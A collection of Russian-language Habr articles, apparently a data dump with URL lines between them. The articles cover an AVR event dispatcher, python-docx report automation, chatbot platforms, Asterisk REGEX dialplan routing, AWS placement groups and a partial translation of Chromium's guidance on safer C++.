На плате предусмотрен внешний генератор импульсов (часы DS1307). Генератор настроен на частоту 4 кГц и импульсы заведены на ногу INT0 — внешнее прерывание.
Это прерывание и используется как главный таймер в системе. Как? Да очень просто:
> `unsigned int calc\_delay; // Счетчик Главного Таймера
>
>
>
> ISR(INT0\_vect) {
>
> if (calc\_delay > 41) { // каждые 10 мсек
>
> calc\_delay = 0;
>
> dispatchTimer(); // а вот и диспетчер
>
> } else
>
> calc\_delay++;
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Макросом ISR в avr-gcc описывается обработчик прерывания. Эта функция вызывается 4096 раз в секунду. А наш диспетчер таймеров вызывается один раз в 10 мсек (с небольшой погрешностью).
Желающие могут использовать встроенный таймер или другой период таймера, суть от этого не меняется.
Еще у меня используются прерывания ADC (опрос клавиатуры) и UART (общение с компом). Там тоже минимализм — положить значение в буфер и продолжить. Основная работа выполняется в главном цикле программы:
> `int main() {
>
> init();
>
>
>
> for(;;) {
>
> dispatchMessage();
>
> }
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Надеюсь, даже комментировать не нужно. Да, есть небольшой, но очень важный кусочек кода в процедуре инициализации:
> `// регистрация обработчиков событий
>
>
>
> setHandler(MSG\_LCD\_REFRESH, &refreshLCD);
>
> setTimer(MSG\_LCD\_REFRESH, 0, 20);
>
>
>
> setHandler(MSG\_ADC\_CYCLE, &readKey);
>
> setHandler(MSG\_KEY\_REPEAT, &repeatKey);
>
>
>
> setHandler(MSG\_KEY\_PRESS, &analyseKey);
>
>
>
> setHandler(MSG\_1W\_TEMP, &owTemp);
>
> setTimer(MSG\_1W\_TEMP, 1, 10);
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
В двух словах — выставляем обработчик и взводим таймер. Дальше уже работает система — отслеживает таймер и создает событие. События обрабатываются в порядке поступления. Функция-обработчик выполняет действия и опять взводит таймер (если надо).
Например, так выглядит самая простая функция перерисовки экрана:
> `unsigned char Disp[2][20]; // буфер экрана
>
>
>
> unsigned char refreshLCD(msg\_par par) {
>
> lcd\_gotoxy(0,0);
>
> lcd\_puts(Disp[0]); // выводим первую строку
>
> lcd\_gotoxy(0,1);
>
> lcd\_puts(Disp[1]); // выводим вторую строку
>
>
>
> setTimer(MSG\_LCD\_REFRESH, 0, 20);
>
> return(0);
>
> }
>
>
>
> \* This source code was highlighted with Source Code Highlighter.`
Экранчик обновляется, клавиатура анализируется, датчики опрашиваются.
Следующий раздел — интерфейс пользователя. | https://habr.com/ru/post/58472/ | null | ru | null |
# Автоматическое заполнение файлами документов Word и подписей к ним с помощью Python и библиотеки docx
Рассмотрим пример простой программы на **Python** с помощью библотекы **docx** для автоматизации рабочего процесса, а именно автоматической вставки файлов (в данном случае изображений) и их подпись в документах Word (docx).
Данная статья будет интересна для начинающих изучающих **Python**, а также полезна для тех кто работает с большими объемами изображений, графиков, осциллограмм и тому подобное. В ней мы рассмотрим простой и удобный способ вставки изображений в **Word** и их подписью с помощью **Python**.
Я опишу свой максимально дубовый и непрофессиональный но простой код который **Вы** сможете повторить в своих проектах. (Полный код в низу статьи).
Цель
----
В жизни каждого инженера или аналитика или другого специалиста, наступает момент, когда нужно оформлять отчет. Часто это осциллограммы, графики, ВАХ или другие графические изображения. Отчет нужно оформить в вордовском файле, с приведением изображений и их подписью. Делать вручную это очень ~~увлекательно и интересно~~ долго, неэффективно, скучно и другие синонимы к етим словам.
Рассмотрим простой способ вставки изображений и их подписью в файл docx с помощью Python.
Начало написания программы
--------------------------
Сначала нам нужно добавить библиотеку `docx` для работы с файлами **Word**.
```
import docx
```
Давайте создадим блок в коде в котором укажем название docx файла и путь к нему, а также путь к папке с изображениями. Чтобы в дальнейшем для удобства было достаточно внести изменения путь к файлам только в верху кода.
```
folder_doc = r'D:\PITON\Project' # Папка в которой docx файл
name_doc = '\Report.docx' # Название doc файла
folder_png = 'D:\PITON\Project\Png' # Папка в которой находятся графики
```
Далее добавим объект doc из библиотеки и укажем путь к файлу с названием документа.
```
doc = docx.Document(folder_doc + name_doc)
# Указываем параметры которые задавали в коде раньше (путь и имя)
```
Формируем последовательность вставки файлов
-------------------------------------------
Исходя из названия файлов (изображений) нам нужно определить в какой последовательности мы будем вставлять изображения в **Word**.
В моем случае ето: *Test\_number1\_Outside\_humidity\_10\_Outside\_temperature\_25.* Отличие в названии файлов есть в числах возле названия параметра (их мы и будем менять в коде для автоматического заполнения файла).
Создаем массивы с значениями этих чисел:
```
test_number = [1, 2, 3, 4, 5] # Указываем номер теста
outside_humidity = [10, 20, 30, 40, 50, 60, 70, 80, 90] # Указываем влажность
outside_temperature = [25, 50, 75, 100] # Указываем температуру
```
Основная часть программы
------------------------
После того как мы разобрались с тем, как мы будем идентифицировать изображение для последующей вставки, нам необходимо определиться в порядке в котором будут идти изображения. У меня все картинки будут идти в таком порядке: *test\_number, outside\_humidity, outside\_temperature*. Вы же можете сделать произвольный порядок.
Для этой реализации используем цикл `for`, который будет перебирать все значение из массива по очереди.
```
for r in range(len(test_number)):
for d in range(len(outside_humidity)):
for i in range(len(outside_temperature)):
```
Далее стандартными средствами библиотеки добавляем картинки в файл и создаем подписи.
`doc.add_picture` - добавляет изображения в файл **Word**`folder_png` - это путь к папке которую мы указывали вверху кода
После этого мы указываем точное название файлов в папке, но вместо значений которые меняются вставляем в фигурные скобки.
В функции `.format` указываем те значения переменных которые меняются в каждом файле и которые мы внесли в цикле `for`. Эти значения будут применяться к каждому файлу, где мы указывали фигурные скобки (**в той же последовательности**).
Для подписи файла используем такой же алгоритм.
`doc.add_paragraph` - используем для записи параграфу
`doc.add_paragraph(" ")` - делаем отступ
```
doc.add_picture(folder_png + '/Test_number{}_Outside_humidity_{}_Outside_temperature_{}.png'
.format(test_number[r],outside_humidity[d], outside_temperature[i]))
doc.add_paragraph("Figure {}, Test number {}, Outside humidity = {} %, Outside temperature = {} C;"
.format(i + 1, test_number[r], outside_humidity[d], outside_temperature[i]))
doc.add_paragraph(" ")
```
Сохраняем файл
```
doc.save(folder_doc + name_doc)
```
Меняем параметры изображения
----------------------------
Изображение будем вставлять размером 13.33 х 10 см, для этого воспользуемся дополнительными возможностями библиотеки **docx.**Сначала напишем функцию которая будет конвертировать размер с **inch** в **см**.
```
def inch_to_cm(value):
return value / 2.54
```
Теперь добавим данные параметры к основному коду:
```
doc.add_picture(folder_png + '/Test_number{}_Outside_humidity_{}_Outside_temperature_{}.png'
.format(test_number[r],outside_humidity[d], outside_temperature[i]),
width=docx.shared.Inches(inch_to_cm(13.330)),
height=docx.shared.Inches(inch_to_cm(9)))
```
Результат
---------
В данной папке находится **180** изображений:
После запуска кода с помощью **Python**, в течение 5 секунд мы получаем следующий результат:
Вывод
-----
Имея структурированные данные на базе данного кода с помощью **Python** и библиотеки **docx** можно в течение 10 минут написать свой код, который в течение нескольких секунд сделает всю грязную работу за Вас.
> Разве не для этого придумывали компьютер?
>
>
Полный код программы
--------------------
```
import docx
folder_doc = r'D:\PITON\Project' # Папка в которой docx файл
name_doc = '\Report.docx' # Название doc файла
folder_png = 'D:\PITON\Project\Png' # Папка в которой находятся графики
doc = docx.Document(folder_doc + name_doc) # Указываем параметры которые задавали в коде раньше (путь и имя файла)
test_number = [1, 2, 3, 4, 5] # Указываем номер теста
outside_humidity = [10, 20, 30, 40, 50, 60, 70, 80, 90] # Указываем влажность
outside_temperature = [25, 50, 75, 100] # Указываем температуру
def inch_to_cm(value):
return value / 2.54 # Конвертируем в см
for r in range(len(test_number)):
for d in range(len(outside_humidity)):
for i in range(len(outside_temperature)):
# Test_number1_Outside_humidity_10_Outside_temperature_25
doc.add_picture(folder_png + '/Test_number{}_Outside_humidity_{}_Outside_temperature_{}.png'.format(test_number[r],outside_humidity[d], outside_temperature[i]), width=docx.shared.Inches(inch_to_cm(13.330)), height=docx.shared.Inches(inch_to_cm(9)))
doc.add_paragraph("Figure {}, Test number {}, Outside humidity = {} %, Outside temperature = {} C;" .format(i + 1, test_number[r], outside_humidity[d], outside_temperature[i]))
doc.add_paragraph(" ")
doc.save(folder_doc + name_doc)
``` | https://habr.com/ru/post/579094/ | null | ru | null |
# Разработка интеллектуальных ботов с помощью Microsoft Bot Framework, Azure Cognitive Services и NER систем. Часть 1
На сегодняшний момент лишь мессенджеры (и, частично, игры) показывают стабильный рост аудитории на фоне падения всех статистических показателей классических мобильных приложений. WhatsApp заявляет об 1 миллиарде активных пользователях, Facebook Messenger – 900 миллионов, WeChat – 700 миллионов, а мессенджеры уже [обогнали](http://www.businessinsider.com/the-messaging-app-report-2015-11) социальные сети по активной аудитории.
> Для миллионов людей Facebook Messenger может стать первым местом, где они столкнутся с чатботами. И если люди начнут ими пользоваться, то это может стать новым Клондайком для разработчиков программного обеспечения — впервые после того, как компания Apple открыла App Store.
>
>
>
> [The Verge](http://www.theverge.com/2016/4/12/11395806/facebook-messenger-bot-platform-announced-f8-conference)
Логичным является желание мессенджеров воспользоваться сложившейся ситуацией и попытаться еще больше потестить традиционные СМИ, и даже гегемонию Google в плане поиска. И это желание вылилось в открытие почти всеми популярными мессенджерами публичных Bot API. Несмотря на то, что формально мессенджеры предоставляют доступ разработчикам к своей многочисленной публике, по факту, эти же самые разработчики будут приводить своих же пользователей обратно в мессенджеры. Но не будем сильно акцентировать внимание на теории заговоров или философствовать на тему куда это может нас привести, а сконцентрируемся на технических вопросах создания интеллектуальных ботов.
### Примеры интеллектуальных ботов
Msg.ai позволяет брендам общаться с пользователями с помощью мессенджеров.
Sony Pictures [заменила](http://www.businessinsider.com/startup-msgai-wants-to-make-bots-big-2016-3) 70 операторов одним чатботом.
19-летний разработчик создал бесплатного бота, который [вернул](http://www.techinsider.io/joshua-browder-bot-for-parking-tickets-2016-2) водителям $3 миллиона за штрафы за парковку.
Еще примеры. У иранского бота Тины (еще ее называют иранской Siri) 2,6 млн [подписчиков в Telegram](http://www.forbes.com/sites/parmyolson/2016/03/08/tina-chat-bot-telegram-siri-iran/).
Microsoft Xiaoice (Китай) — 17-летняя девушка, которая живет в WeChat и Weibo. Этого бота [называют](http://nautil.us/issue/33/attraction/your-next-new-best-friend-might-be-a-robot) наибольшим тестом Тьюринга в истории. Робот умеет отвечать на вопросы, распознавать эмоции и даже сопереживать. Многие пользователи даже не понимают, что общаются с ботом.
X2AI — стартап с Кремниевой долины [создал](http://www.techinsider.io/psychotherapy-bot-in-middle-east-2016-3) бота, который помогает сирийским беженцам в Ливане решать их психологические проблемы, связанные с войной.
В Украине самым популярным ботом является [Opendatabot](https://www.facebook.com/OpenDataBot), который, используя открытые наборы данных (судебный реестр и базу предпринимателей и бизнесов) позволяет проверять контрагентов и защититься от рейдерских атак путем уведомлений о несанкционированных изменениях записей в едином реестре.
[ДонорUA.Бот](https://donor.ua/bot) (доступный для Skype, Telegram, [Facebook Messenger](https://www.facebook.com/donoruabot/)) позволяет проверить, есть ли у вас противопоказания к донорству (абсолютные или временные) на русском или украинском языке:
Буду благодарен, если в комментариях вы набросаете ссылки на другие интересные примеры ботов (в частности, работающие в нашем регионе).
Иногда интеллектуальные боты «уходят» не туда, и мы можем наблюдать интересные результаты. Например, Twitter-бот TayTweets от Microsoft, который учился на твитах, которые ему слали пользователи. Конечно же, люди плохого роботов не научат (сарказм), поэтому уже через 24 часа бот начал выдавать ксенофобские и расиские твиты:
Microsoft вынуждена была удалить бота из публичного доступа. Это говорит о том, что боты — все-таки инструмент, а каким он будет — зависит от данных и методов обучения.
### Зачем боты?
Этот вопрос задают каждый раз, когда кто-то начинает рассказывать о ботах. Давайте рассмотрим преимущества перед другими способами коммуникации с пользователями:
1. Легкий старт. Разработать бот можно достаточно быстро и легко. Гораздо легче, чем разработать мобильное приложение или бот.
2. После разработки бота он автоматически доступен в мессенджерах и социальных сетях, а значит, нужно потратить меньше времени и ресурсов для маркетинга.
3. Это дешевле, чем разрабатывать мобильные приложения или сайты. Так как боты работают на существующих инфраструктурах, то все что вам нужно — база данных и сервис, который будет отвечать на вопросы и предоставлять данные по запросу.
4. Диалоговый интерфейс понятен каждому, дизайн диалогов — все же более легкая задача, нежели разработка UX/UI для мобильных приложений или графического дизайна для сайта.
Тем не менее, это не значит, что ботов нужно использовать везде, где только можно. Пользователи, в идеале, должны сделать 1-2 клика для получения необходимой информации, если же кликов надо больше — возможно, бот — не лучшее решение для вашего сервиса.
И, все таки, есть множество сценариев, где боты — более выгодное решение. Например, для работы с потенциальными клиентами (user engagement), кол-центры, заказа чего-то (пиццы, такси), для создания баз знаний в конкретных доменах (как в случае с ДонорUA.Бот).
Какие новые рынки и работу для разработчиков создают боты?
* разработка инструментов и платформ для AI/ML/NLP;
* разработка Bot frameworks;
* магазины ботов;
* разработка ботов;
* автоматизация процессов;
* боты в маркетинге.
Кто уже включился в игру под названием «чатботы»? Это Telegram, Microsoft Skype, WeChat, Slack, Facebook Messenger. Каждая из платформ предлагает свои уникальные фишки, например, в Telegram есть инлайн боты, которые можно подключать в разговоре с другими людьми, но в целом возможности у всех платформ более менее одинаковые.
### Создаем простого чатбота
Процесс создания чат-бота состоит из нескольких частей:
1. Регистрация бота в мессенджере. В Telegram за это отвечает [@BotFather](https://telegram.me/BotFather), в Messenger нужно создать страницу, которая и будет ботом и связать ее в настройках с приложением на портале разработчика. Для желающих написать бота для Skype есть [отдельный портал](https://developer.microsoft.com/en-us/skype/bots), на котором нужно добавить своего бота.
2. Создание веб-сервиса (webhooks endpoint), который будет принимать запросы и формировать ответы. Ссылку на веб-сервис нужно прописать в настройках вашего бота.
3. Написание логики обработки команд (в простых случаях) или не структурированных текстов с помощью NLP/ML/NER инструментов. (о них будем говорить позже).
4. Создание базы данных, если вы хотите отслеживать диалоги и создавать более тесное и персонифицированное общение с вашими пользователями.
5. Собственно, все. Тестируем, запускаем, пользуемся.
Telegram позволяет создать набор команд. Как и любую другую задачу по настройке бота, это можно сделать с помощью [команды BotFather](https://core.telegram.org/bots#commands):
```
/setcommands - change bot commands list
OK. Send me a list of commands for your bot. Please use this format:
command1 - Description
command2 - Another description
```
У Facebook такую роль исполняет [Persistent Menu](https://developers.facebook.com/docs/messenger-platform/thread-settings/persistent-menu) (до 5 элементов):
Конечно же, это не единственные UX/UI возможности ботов, и список интересных фич постоянно увеличивается.
— В следующей части поговорим о Microsoft Bot Framework для быстрой разработки ботов для ~10 платформ. | https://habr.com/ru/post/312286/ | null | ru | null |
# Asterisk. Dialplan Askozia 6. Исходящие звонки
В статье пойдет речь о бесплатной АТС **Askozia версии 6**. При разработке телефонной станции одной из первых задач была организация исходящих звонков.
### Как это было
В старой версии Askozia использовались стандартные “**шаблоны**” dialplan.
* **X!** — все номера телефонов
* **XXX** — трехзначные цифровые номера
* **.!** — абсолютно все номера телефонов
Схематично можно описать пример контекста:
```
[outgoing]
exten => _XXXXXX!,1,NoOp(Start outgoing calling...)
same => n,Dial…
```
Нам показался такой подход недостаточно гибким. Нет возможности описать следующее правило:
* Номер начинается с 79
* **Далее следует либо 35 либо 26**
* Остальная часть номера состоит из 7 цифр
Под катом описан выбранный нами подход и итог разработки.
### Текущая реализация
Мы решили реализовать этот функционал по другому, с использованием **REGEX**.
Пример шаблона:
```
79(25|26)[1-9]{7}
```
* **(25|26)** — это 25 ИЛИ 26
* **[0-9]** — цифра от 0 до 9ти, вхождение от 1ого и более раз
* **{7}** — кол-во вхождений предыдущего символа
Синтаксис функции REGEX:
```
REGEX("regular expression" string)
Return '1' on regular expression match or '0' otherwise
```
Пример использования в Askozia 6:
```
[outgoing]
exten => _X!,1,NoOp(Start outgoing calling...)
same => n,Ringing()
same => n,ExecIf($["${REGEX("^[0-9]{6}$" ${EXTEN})}" == "1"]?Gosub(SIP-PR-1-out,${EXTEN},1))
same => n,ExecIf($["${REGEX("^(7|8)[0-9]{10}$" ${EXTEN})}" == "1"]?Gosub(SIP-PR-2-out,${EXTEN},1))
same => n,Hangup()
```
Для исходящих звонков организована одна точка входа — контекст “**outgoing**”, в нем происходит вызов функции “**ExecIf**”:
```
ExecIf($["${REGEX("^[0-9]{6}$" ${EXTEN})}" == "1"]
```
Если номер телефона, указанный в переменной “**${EXTEN}**”, соответствует шаблону, то вызов направляется в **sub-контекст** средствами функции “**Gosub**”.
Если в **sub-контекст** вызов не был прерван, то набор пойдет по следующему подходящему правилу.
Мы таким образом решили проблему с одноканальными линиями. Если линия занята, то вызов идет через следующую, пока не будет отвечен.
Примеры контекстов:
```
[SIP-PR-1]
exten => _X!,1,ExecIf($["${number}x" == "x"]?Hangup())
same => n,Dial(SIP/PR-1/${EXTEN},600,TeK))
same => n,ExecIf($["${DIALSTATUS}" = "ANSWER"]?Hangup())
same => n,return
[SIP-PR-2]
exten => _X!,1,ExecIf($["${number}x" == "x"]?Hangup())
same => n,Dial(SIP/PR-2/${EXTEN},600,TeK))
same => n,ExecIf($["${DIALSTATUS}" = "ANSWER"]?Hangup())
same => n,return
```
Обязательно в “**sub**” — контекст производится проверка “**DIALSTATUS**”. Если вызов отвечен, то после разговора канал будет завершен средствами функции “**Hangup()**”. Если этого не сделать, то при завершении звонка клиентом, может произойти повторный набор номера клиента.
Одна важная тонкость, при использовании “**Gosub**” или “**Goto**” мы намеренно **не** меняем **${EXTEN}**. Даже если необходимо модифицировать номер телефона (добавить / удалить префикс).
Дело в том, что при модификации **EXTEN** Asterisk будет модифицировать значение переменной **CDR(dst)**, что приведет к слабо прогнозируемому результату в таблице истории звонков CDR. Считаю, в истории важно сохранять тот номер, который был набран сотрудником.
Будьте аккуратны при описании регулярного выражения. Используйте символы “**^**”, начало строки и “**$**” — конец строки, иначе можно получить неожиданный результат.
К примеру шаблон “**[0-9]{6}**” будет соответствовать всем номерам, где есть 6 и более цифр. Шаблон “**^[0-9]{6}$**” соответствует только 6ти значным номерам.
### Итоги
Мы получили гибкую подсистему, для описания исходящей маршрутизации на АТС.
Список правил отображаем следующим образом:
Пример карточки конкретного “Правила”:
 | https://habr.com/ru/post/445536/ | null | ru | null |
# AWS Insight: Как работают Placement Groups
Привет! 
У многих есть проекты с «хайлоадом». Немногие используют кластеры на AWS. И те, кто всё-таки их используют, должны использовать Placement группы.
#### Что это такое
**Placement Groups** (Группы размещения) — логические объединения кластерных типов AWS инстансов, позволяющие уменьшить сетевые задержки. AWS гарантирует скорость в 10 Gb между серверами, запущенными в одной плейсмент группе. Чисто теоретически, эти инстансы запускаются географически рядом.
При обычном размещении инстансов получается приблизительно следующая картина:
При старте инстансов в плейсмент группе, инстансы физически близко, тем самым получается выиграть в сетевых задержках:
#### Как создать плейсмент группу и запустить в ней инстансы
Есть по 2 способа как создать плейсмент группу, так и запустить инстансы в ней. Заметим, что уже запущенные машинки уже невозможно поместить в плейсмент группу.
##### 1. CLI Tools
Создадим плейсмент группу:
```
$ ec2-create-placement-group MyFirstCluster -strategy cluster
```
И запустим в ней 10 кластерных GPU инстансов:
```
$ ec2-run-instances ami-02f54a6b -n 10 --instance-type cg1.4xlarge --placement-group MyFirstCluster --group MyClusterSecurityGroup
```
##### 2. AWS Console
Создаем плейсмент группу:
И добавляем в группу 10 новых инстансов, выбирая плейсмент группу при их создании:
#### Тесты производительности
Статья бы была «ни о чём», если бы в ней не было бы тестов производительности сети между кластерными инстансами вне и в плейсмент групп.
##### Тест
Тест производится между двумя кластерными инстансами **Cluster Compute Quadruple Extra Large Instance** (cc1.4xlarge). На одном установлен и стартован дефолтный NGINX. На другом — httpd с тулзой Apache Bench.
1000 раз запускается строка вида:
```
ab -c 60 -n 4000 http://$ADDR/
```
В результате, на сервер отправлено 1000\*60\*4000=**240.000.000 запросов**. Мы посчитаем среднее время ответа, на этом и будем строить наши догадки о том, как хорошо работают плейсмент группы.
##### Результаты
Конечно тяжело разобраться правомочен ли тест, но что есть, то есть.
Вот график среднего времени ответа сервера (grep 'Time per request' |grep «across»):
Видно, что график с серверами в плейсмент группе чуточку быстрее, чем вне её.
#### Выводы
При использовании кластерных инстансов на EC2/VPC нужно и полезно использовать Placement Groups. Это немного уменьшает сетевые задержки, что при долговременном использовании может значительно повлиять на производительность кластера.
AWS рекомендует не использовать более 128 инстансов в одной плейсмент группе, посему лучше их разделять на несколько групп, если у вас много серверов.
Используете ли вы Placement Groups в своих проектах на AWS? Есть ли интересные данные по производительности? | https://habr.com/ru/post/161315/ | null | ru | null |
# Безопасное использование C++
От переводчика. Данный текст является переводом документа [Safer Usage Of C++](https://docs.google.com/document/d/e/2PACX-1vRZr-HJcYmf2Y76DhewaiJOhRNpjGHCxliAQTBhFxzv1QTae9o8mhBmDl32CRIuaWZLt5kVeH9e9jXv/pub), выложенного в общий доступ командой Chromium/Chrome из компании Google. Текст активно [обсуждался на Reddit](https://old.reddit.com/r/cpp/comments/pkru4h/safer_usage_of_c_in_chrome/), и команда PVS-Studio решила, что аудитории Habr-а может быть интересно познакомиться с его русскоязычным вариантом. Для перевода использован текст от 20 сентября 2021, и на момент его чтения он может отличаться от текста по ссылке.
Этот документ является общедоступным. Коммиттеры Chromium могут оставить свои комментарии в [исходном документе](https://www.google.com/url?q=https://docs.google.com/document/d/1eVKfIsPsEVDsBS24ErmuyjNy-9zSBzHgp4Sk6fs6OOI/edit%23&sa=D&source=editors&ust=1632134964044000&usg=AOvVaw2BSW-eAQubUYCjIDsweQHk). Если вы хотите оставить комментарий, но не можете, напишите palmer@. Приятного чтения!
Авторы/Редакторы: adetaylor, palmer
Участники: ajgo, danakj, davidben, dcheng, dmitrig, enh, jannh, jdoerrie, joenotcharles, kcc, markbrand, mmoroz, mpdenton, pkasting, rsesek, tsepez, awhalley, вы!
Вступление
----------
Службу безопасности Chrome [попросили рассмотреть](https://www.google.com/url?q=https://docs.google.com/document/d/1JWGI-fkEsdRPpwPtS6x3siNtHX8cWoZeiWD6_y781ag/edit&sa=D&source=editors&ust=1632134964046000&usg=AOvVaw2-bhMOCmR2tQx7_LEdQ0oY) [ссылка только для Google, извините], как сделать C++ более безопасным. В данном документе описываются различные механизмы, которые мы можем использовать для более безопасного использования C++. Некоторые из этих механизмов радикальны. Принятие некоторых (а то и большинства) из этих механизмов может привести к тому, что код будет выглядеть совсем не так, как ожидают C++ программисты.
Большинство из предложенных механизмов представляют собой новые паттерны использования, библиотеки и классы. Однако некоторые требуют использования специфичных для компилятора флагов, которые несколько изменяют язык. Например, Chromium уже использует *-fno-exceptions*, и здесь мы предлагаем *-ftrapv*, *-fwrapv* или *fsanitize=signed-integer-overflow*.
Некоторые из этих механизмов уже используются в сборке Chromium с различным успехом. Например: устойчивый к UAF смарт-указатель [MiraclePtr](https://www.google.com/url?q=http://go/miracleptr&sa=D&source=editors&ust=1632134964047000&usg=AOvVaw1uuxJYL1ESgcXZSgO4BYBV) проходит испытания на производительность. Мы расширили использование Oilpan до PDFium, а упрочнение //base, WTF и Abseil существенно и доказало свою эффективность.
Другие механизмы, которые мы предлагаем, представляют собой значительные новые направления для C++ и Chromium и могут даже потребовать новых исследований и разработок в открытых проблемных областях (например, новые формы статического анализа).
> Примечание переводчика. И вообще, кажется, команде Chromium стоит уделить больше внимания статическому анализу :). Каждый раз, когда команда PVS-Studio проверяла Chromium, выявлялось большое количество ошибок. И это не абстрактные слова. Подборки багов: [2011-1](https://pvs-studio.com/ru/blog/posts/cpp/a0074/), [2011-2](https://pvs-studio.com/ru/blog/posts/cpp/0113/), [2013-1](https://pvs-studio.com/ru/blog/posts/cpp/0205/), [2013-2](https://pvs-studio.com/ru/blog/posts/cpp/0225/), [2016](https://pvs-studio.com/ru/blog/posts/cpp/0442/), [2018-1](https://pvs-studio.com/ru/blog/posts/cpp/0553/), [2018-2](https://pvs-studio.com/ru/blog/posts/cpp/0554/), [2018-3](https://pvs-studio.com/ru/blog/posts/cpp/0555/), [2018-4](https://pvs-studio.com/ru/blog/posts/cpp/0556/), [2018-5](https://pvs-studio.com/ru/blog/posts/cpp/0557/), [2018-6](https://pvs-studio.com/ru/blog/posts/cpp/0558/), [2018-7](https://pvs-studio.com/ru/blog/posts/cpp/0559/).
Язык и культура C++, как правило, предпочитают эффективность безопасности. Поэтому многие из предложенных изменений сложные, противоречивые и не такие надежные, как аналогичные изменения в другом языке. Помимо этого, иногда они могут влиять на микро- и макроэффективность (время, пространство или размер объектного кода).
Предыдущая работа
-----------------
Безопасный C++ – мечта для многих.
Существует [C++ Core Guidelines project](https://www.google.com/url?q=https://isocpp.github.io/CppCoreGuidelines/CppCoreGuidelines&sa=D&source=editors&ust=1632134964049000&usg=AOvVaw2Hwzb49PIRAA2_PvpSyByN) и [Safe C++ Tool](https://www.google.com/url?q=https://github.com/duneroadrunner/scpptool&sa=D&source=editors&ust=1632134964049000&usg=AOvVaw2lrVmAyuc-jxJcKNPl5QOZ) (а также его [библиотека SaferCPlusPlus](https://www.google.com/url?q=https://github.com/duneroadrunner/SaferCPlusPlus&sa=D&source=editors&ust=1632134964049000&usg=AOvVaw2QkfgT-C0jOlm0uC9b6lz6) и [инструмент автоматического перевода](https://www.google.com/url?q=https://github.com/duneroadrunner/SaferCPlusPlus-AutoTranslation2&sa=D&source=editors&ust=1632134964049000&usg=AOvVaw3WMNK4rZMSS8bDxMctPcwg)).
Мы не предлагаем новый язык, но, к примеру, [CCured](https://www.google.com/url?q=https://web.eecs.umich.edu/~weimerw/p/p232-condit.pdf&sa=D&source=editors&ust=1632134964050000&usg=AOvVaw2EXcwTcnXySZk8ZB1kfjkb) и [Cyclone](https://www.google.com/url?q=https://cyclone.thelanguage.org/&sa=D&source=editors&ust=1632134964050000&usg=AOvVaw2NikEU30H_hntJeqhjccd3) были интересными попытками сделать новые варианты языка C, которые были бы совместимы с существующим C.
Также посмотрите анализ того, [как маркировка памяти может изменить ситуацию с безопасностью](https://www.google.com/url?q=https://docs.google.com/document/d/1LhcUy_Eoqo8H2yNPJYAPDfaQWmOIY0gS8S8gfPISOIc/edit%23heading%3Dh.t1e8jytl71ol&sa=D&source=editors&ust=1632134964050000&usg=AOvVaw0vrqx0oBuYT316ggdv7M1H) [только для Google].
Предпосылки
-----------
Существует два основных типа безопасности памяти: пространственная и временная. **Пространственная безопасность** – это гарантия того, что программа будет вести себя определенным и безопасным способом, если она обращается к памяти за пределами допустимых границ. Примеры включают границы массива, доступ к структуре и объединению полей, а также доступ к итератору.
**Временная безопасность** – гарантия того, что программа будет вести себя определенным и безопасным образом, если она обращается к памяти, когда эта память недействительна для доступа. Примеры включают use after free (UAF), двойное освобождение, использование до инициализации и use after move (UAM). Нарушения временной безопасности часто выглядят как путаница в типах. Например, программа ошибочно использует недавно освобожденный объект *Dog*, как если бы это был объект *Cat*. (Злоумышленники часто создают полностью поддельные объекты с помощью виртуальных таблиц, что дает им контроль над работой программы).
Из этих двух типов безопасности пространственную безопасность достичь относительно проще (путем изменений в коде Chromium и/или путем упаковки целевых объектов в WASM), хотя и с некоторыми минимальными затратами на эффективность. К примеру, вам необходимо выполнить проверку границ массива, и это может стоить дороже, чем не делать это. Это чисто эмпирический вопрос, который может быть решен только в контексте реальной программы, и результаты могут удивить.
Временную безопасность достичь сложнее и дороже. Решения включают повсеместный подсчет ссылок (например Objective-C с ARC, Swift), запрет общего изменяемого состояния и встраивание borrow-checker в компилятор (например, Rust) или полностью базовую сборку мусора (Go, JavaScript и другие).
Мы считаем, что, *учитывая достаточную терпимость к регрессиям микроэффективности*, мы могли бы существенно устранить пространственную небезопасность C++ в собственном коде. Мы могли бы сделать это (и уже начали делать) с помощью комбинации изменений и дополнений библиотеки, опций компилятора, правил политики/стиля и проверок перед отправкой (включая запрещенные и поощряемые классы и конструкции). Учтите, что хотя это *возможно* и обычно относительно легко технически, эта работа вызывает споры в сообществах C++, включая Chromium.
Мы не можем исключить или устранить временную небезопасность C++ без принятия одного из известных решений, например, сборки мусора. Микроэффективная и эргономичная временная безопасность остается открытой проблемой в разработке ПО. Однако, при некоторых потенциально значительных затратах на эффективность мы можем снизить распространенность и возможность использования временной небезопасности. [\*Scan – это многообещающая возможность](https://www.google.com/url?q=https://source.chromium.org/chromium/chromium/src/%2B/master:base/allocator/partition_allocator/starscan/README.md&sa=D&source=editors&ust=1632134964052000&usg=AOvVaw1FZ1TUmsXuxweGBDwjkTmp), с которой мы экспериментируем.
Неопределенное поведение
------------------------
Большая часть проблем C/C++ связана с неопределенным поведением (undefined behavior, UB), встроенным в спецификации языка и библиотеки. (Даже совсем недавние языковые дополнения продолжают традицию.) Пространственная и временная безопасности являются подтипами неопределенного поведения; другие примеры включают переполнение целых чисел со знаком. Простое [перечисление всех неопределенных поведений в C++ является открытым проектом](https://www.google.com/url?q=http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2019/p1705r1.html&sa=D&source=editors&ust=1632134964053000&usg=AOvVaw3wA8pGQeF-8lRgvTEqKrmC).
[Авторы компилятора видят неопределенное поведение как возможность для микрооптимизации](https://www.google.com/url?q=https://blog.regehr.org/archives/213&sa=D&source=editors&ust=1632134964053000&usg=AOvVaw19EX0UHnXcxW5sr6WNMovU), в то время как [злоумышленники рассматривают неопределенное поведение как возможность для эксплуатации](https://www.google.com/url?q=http://www.dullien.net/thomas/weird-machines-exploitability.pdf&sa=D&source=editors&ust=1632134964054000&usg=AOvVaw2kz86W-7kxmmCC9Y_PwNh1).
Для программного обеспечения, работающего в непредсказуемой и даже враждебной среде, такой как Интернет, все шире признается, что [написание надежного и безопасного ПО на C/C++ является чрезвычайно сложной задачей](https://www.google.com/url?q=https://alexgaynor.net/2020/may/27/science-on-memory-unsafety-and-security/&sa=D&source=editors&ust=1632134964054000&usg=AOvVaw3yukaUFcso-vns64SSu5LN) из-за множества форм неопределенного поведения, связанных с безопасностью и эргономикой.
Цель данного документа
----------------------
